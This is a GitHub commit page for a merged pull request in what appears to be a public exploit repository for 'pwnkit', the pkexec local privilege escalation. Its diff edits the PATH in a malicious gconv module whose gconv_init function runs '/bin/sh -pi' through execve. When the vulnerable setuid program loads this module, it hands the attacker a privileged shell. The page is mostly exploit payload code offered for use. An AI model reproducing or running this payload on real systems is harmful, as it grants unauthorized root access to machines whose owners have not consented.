Merge pull request #12 from owl4ce/patch-1

pwnkit: Adds full PATH support
This commit is contained in:
Davide Berardi 2022-01-27 11:30:03 +01:00 committed by GitHub
commit 77bcb0e166
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -8,7 +8,7 @@ void gconv(void) {
void gconv_init(void *step) void gconv_init(void *step)
{ {
char * const args[] = { "/bin/sh", "-pi", NULL }; char * const args[] = { "/bin/sh", "-pi", NULL };
char * const environ[] = { "PATH=/bin:/usr/bin", NULL }; char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
execve(args[0], args, environ); execve(args[0], args, environ);
exit(0); exit(0);
} }